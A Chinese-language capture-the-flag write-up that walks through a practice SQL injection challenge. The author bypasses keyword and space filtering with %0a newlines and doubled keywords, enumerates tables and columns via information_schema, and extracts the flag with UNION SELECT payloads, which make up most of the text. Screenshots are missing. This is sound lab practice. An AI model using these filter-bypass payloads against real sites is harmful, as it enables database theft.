1. 程式人生 > >實驗吧之簡單的sql注入1

實驗吧之簡單的sql注入1

實驗吧之簡單的sql注入1

進來頁面:
在這裡插入圖片描述
查詢注入點!輸入1’報錯,存在注入
在這裡插入圖片描述
輸入1’ select union 1發現報錯
而且報錯只輸出一個1
懷疑是不是select和union被過濾掉了
在這裡插入圖片描述
輸入’ununionion selectselect 1–發現
在這裡插入圖片描述
說明–也被吃掉了,而且後臺對於union、select進行了處理,應該是將關鍵詞和空格一起吃掉了。
輸入’union%0aselect%0a1’發現:
ps:直接加在id=後面,輸入框提交會報錯,我也不知道為啥(流下了沒有技術的淚水)。
在這裡插入圖片描述
初步注入成功!!
'union%0aselect%0agroupgroup_concat_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand’1發現
在這裡插入圖片描述


where後面的都沒了,是不是table_schema被過濾了,雙寫繞過試試。
ps:加在id=後面,提交還是報錯,後面就直接加在id=後面了(又流下了沒有技術的淚水)
在這裡插入圖片描述
看見有個flag的資料庫
繼續
結果發現這次過濾了很多的東西
直接輸入
'union%0aselect%0agroupgroup_concat_concat(columncolumn_name_name)%0afrom%0ainformationinformation_schema.columns_schema.columns%0awhere%0atabletable_schema_schema=database()%0aand’1
得到:
在這裡插入圖片描述

接下來就是繼續了
‘union%0aselect%0agroupgroup_concat_concat(columncolumn_name_name)%0afrom%0ainformationinformation_schema.columns_schema.columns%0awhere%0atabletable_schema_schema=database()%0aand%0atable_name=‘flag
得到:
在這裡插入圖片描述
最後輸入1’%0aunion%0aselect%0aflag%0afrom%0aflag%0awhere%0a’1’='1
得到:在這裡插入圖片描述
得到flag。